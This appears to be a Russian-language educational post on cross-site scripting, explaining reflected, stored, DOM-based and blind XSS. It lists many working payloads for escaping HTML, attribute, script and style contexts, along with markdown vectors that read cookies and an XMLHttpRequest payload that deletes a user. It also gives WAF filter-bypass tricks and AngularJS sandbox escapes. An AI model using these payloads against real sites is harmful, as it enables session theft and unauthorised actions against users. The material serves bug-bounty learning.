Знакомство с Cross-Site Scripting (XSS)

Знакомство с Cross-Site Scripting (XSS)

@bagl3y_notes

#️⃣XSS (Cross-Site Scripting) — это уязвимость в веб-приложениях, которая позволяет внедрять и исполнять произвольный скрипт (обычно это JavaScript) в контексте сайта или веб-приложения.

XSS возникает, когда веб-приложение доверяет пользовательскому вводу (user input) без должной проверки и экранирования и встраивает этот input в свою HTML-страницу.


❓Чаще всего выделяют три ключевых типа:

➖Reflected XSS (отражённая) - уязвимость, при которой приложение получает данные в HTTP-запросе и небезопасным образом включает эти данные в ответ (без надлежащей санитизации или экранирования).

Reflected XSS

➖Stored XSS (хранимая) - уязвимость, при которой подконтрольные пользователю данные сохраняются на сервере и позже появляются на веб-страницах.

Stored XSS

➖DOM-based XSS (основанная на манипуляциях с DOM деревом) - тип уязвимости, при которой исследователь внедряет свои сценарии на веб-страницу, манипулируя объектной моделью документа (DOM) веб-сайта.

DOM (англ. Document Object Model — «объектная модель документа») — иерархическое представление HTML-документа в памяти компьютера, которое позволяет программам изменять структуру, стиль и содержимое документа. Веб-сайты могут использовать JavaScript для управления узлами и объектами DOM, а также их свойствами.

XSS-уязвимости на основе DOM обычно возникают, когда JavaScript получает данные из источника, контролируемого исследователем, например из URL-адреса, и передаёт их в приёмник, поддерживающий динамическое выполнение кода, например eval() или innerHTML. 

Проще говоря, если в скрипте на стороне клиента используется значение из document.location, document.cookie или document.referrer для генерации части HTML, и это значение вставляется прямо «как есть» во внутренний код страницы, то злоумышленник может сформировать специально сконструированный URL, где определённые параметры будут содержать вредоносный скрипт. Браузер же, выполнив этот JavaScript-код, запустит и вредоносную вставку.

Тут рисовать какие-то схемы сложно, поэтому просто приведу пример:

  • Уязвимый код: 
function trackSearch(query) {
  document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
} 
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
  trackSearch(query);
}
  • Атака: Вводим /?search="><script>alert(1);//</script>
  • Результат: <img src="/resources/images/tracker.gif?searchTerm="><script>alert(1);//</script> — в данном случае произошла из-за конкатенации непроверенных пользовательских данных прямо в HTML-разметку, через document.write


⁉️Однако, в некоторых источниках (например, Bugcrowd), и в курсе NahamSec'a отдельно выделяют:

➖Blind XSS (слепая) -  это не отдельный тип, а скорее разновидность Stored XSS. Суть в том, что полезная нагрузка срабатывает не в самом приложении, а в другом месте (например, в панели администратора, или комментарий, который ты отправляешь админам сайта), которое ты как исследователь не видишь.

Blind XSS

После идентификации точки внедрения, в которой пользовательский ввод отражается в коде ответа, ключевой задачей становится точное определение контекста этой интерполяции. Последующий успех эксплуатации напрямую зависит от корректного применения техник выхода из заданного контекста.

#️⃣Escaping Context — это техника выхода из заданного контекста для выполнения произвольного кода. Например, если пользовательский ввод отражён внутри атрибута HTML, можно попытаться выйти из этого атрибута и вставить исполняемый код JavaScript.

➖Контекст атрибута HTML. Ввод помещён внутри атрибута HTML (например, value="user input"). Чтобы выйти из этого контекста, возможно, потребуется закрыть значение атрибута, закрыть тег и ввести новый.

  • Уязвимый код: <input type="text" value="USER_INPUT">
  • Атака: Пользователь вводит " onmouseover="alert('XSS')
  • Результат: <input type="text" value="" onmouseover="alert('XSS')"> — атрибут закрыт, добавлен новый вредоносный обработчик события.


➖Контекст HTML-тегов. Ввод размещён внутри тегов HTML (например, <div>user input</div>). Когда контекст XSS — это текст между HTML-тегами, возможно, потребуется ввести некоторые новые HTML-теги, предназначенные для запуска выполнения JavaScript.

  • Уязвимый код: <div>USER_INPUT</div>
  • Атака: Вводим <img src=xxx onerror=alert('XSS')>
  • Результат: Браузер видит новый тег <img>, который пытается загрузить битый image (xxx), и при ошибке выполняет onerror.


➖Контекст JavaScript. Ввод отражён внутри блока JavaScript (например, var data = 'user input';). Когда контекст XSS включает существующий JavaScript в ответе, могут возникать различные сценарии, каждый из которых требует специфических техник для успешного использования уязвимости.

  • Уязвимый код: <script>var data = 'USER_INPUT';</script>
  • Атака: Вводим '; alert('XSS'); //
  • Результат: <script>var data = ''; alert('XSS'); //';</script> — мы закрыли строку, добавили свою команду и закомментировали остаток.


Примеры выхода из разных контекстов

input escape:

Атака:

/context-input/?name=xss"><script>alert(1);//</script>

Результат:

<p class="text-center">Hello, <input value="xss"><script>alert(1);//</script>"&gt;</p>
textarea escape:

Атака:

/context-textarea/?name=XSS</textarea><img/src=x%20onerror=alert(1)>

Результат:

<p class="text-center">Hello, <textarea>XSS</textarea><img src="x" onerror="alert(1)"></p>
title escape:

Атака:

/context-title/?name=test</title><img/src=x%20onerror=prompt(3)>

Результат:

<title>Welcome, test</title></head><body><img src="x" onerror="prompt(3)">
style escape:

Атака:

/context-style/?color=%23FFFFFF<%2Fstyle><img+src%3Dx+onerror%3Dalert%281%29>

Результат:

  <style>
    body {
      background-color: #FFFFFF</style></head><body><img src="x" onerror="alert(1)">; 
}
js-variable escape:

Атака:

/context-js-variable/?name=user%27;%20alert(1);//

Результат:

<script>
    var name = 'user'; alert(1);//';
    $('span#name').html( name );
</script>

⚠️ XSS возможна и в MarkDown'e

[link](javascript:prompt(document.cookie))
[link](j a v a s c r i p t:prompt(document.cookie))
[link](javascript:alert`1`)
[link](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[link](javascript:window.onerror=alert;throw%201)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)

Использование XMLHttpRequest()

POST /updateDetails HTTP/1.1
Host: demoapp.loc

{"id":7357, "name":"<svg/onload=\"var xhr=new XMLHttpRequest(); xhr.open('GET', '/authService/user/delete?name=bob', true);xhr.send();\">", "age":25}


HTTP 200 OK
{"status":"Success"}
*чаще всего используется для чейна из XSS в CSRF

#️⃣Filter Evasion/Bypass

Простые XSS-векторы часто блокируются Web Application Firewalls (WAF) или встроенными механизмами валидации. Обход фильтров (Filter Bypass) — это модификация вредоносной нагрузки таким образом, чтобы она обходила механизмы защиты, но при этом сохраняла свою функциональность для браузера.

Вот некоторые примеры:

Манипуляции с регистром

<sCrIpt>alert(1)</ScRipt>
<imG/sRc=x%20oneRRor=alert(1);>

Обработка черных списков (Tag Blacklist)

<script x>alert('XSS')<script y>

Дублирование тегов

<script><script> или <scr<script>ipt>

Использование `` вместо ( )

<script>alert`1`</script>

другие популярные обходы JS:

  • Использование throw / with: <script>onerror=alert;throw 1</script>
  • Использование setTimeout/setInterval: setTimeout('alert(1)')
  • Использование eval: eval('al'+'ert(1)')
  • Использование location/URL: javascript:alert(1)
  • Использование top/self: top['al'+'ert'](1)


Использование различных кодировок нагрузки, врапперов

Unicode, HTML, URL, Base64, HEX

<img src=x onerror="alert(1)"> -> <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

Использование Double URL Encode

%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E

Использование Polyglot Payload

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Можно использовать "экзотику"

"><script>ᚠ='',ᚢ=!ᚠ+ᚠ,ᚦ=!ᚢ+ᚠ,ᚨ=ᚠ+{},ᚱ=ᚢ[ᚠ++],ᚲ=ᚢ[ᚷ=ᚠ],ᚹ=++ᚷ+ᚠ,ᚺ=ᚨ[ᚷ+ᚹ],ᚢ[ᚺ+=ᚨ[ᚠ]+(ᚢ.ᚦ+ᚨ)[ᚠ]+ᚦ[ᚹ]+ᚱ+ᚲ+ᚢ[ᚷ]+ᚺ+ᚱ+ᚨ[ᚠ]+ᚲ][ᚺ](ᚦ[ᚠ]+ᚦ[ᚷ]+ᚢ[ᚹ]+ᚲ+ᚱ+"('ᛞᚾᛋᚨᛏᛡᚠᛚᛖᚺᛋᛉᛏᚱ')")()</script>

XSS в AngularJS

AngularJS 1.6+ by Mario Heiderich

{{constructor.constructor('alert(1)')()}}

AngularJS 1.6+ by @brutelogic

{{[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41}}

Example available at https://brutelogic.com.br/xss.php

AngularJS 1.6.0 by @LewisArdern & @garethheyes

{{0[a='constructor'][a]('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

AngularJS 1.5.0 - 1.5.8

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

AngularJS 1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

AngularJS 1.3.20

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

AngularJS 1.3.19

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
    $eval('x=alert(1)//');
}}


⚠️Больше нагрузок можно глянуть тут

<script> — далеко не единственный путь.

  • Теги: <img>, <svg>, <iframe>, <audio>, <video>, <details>, <object>, <embed>
  • События: onload, onerror, onmouseover, onfocus, onclick, onauxclick, onpointerenter
  • Пример: <svg onload=alert(1)> или <img src=x onerror=alert(1)>
<svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>


⚠️А в этом репозитории есть исчерпывающая информация по теме обхода фильтров и байпасса механизмов защиты.



Report Page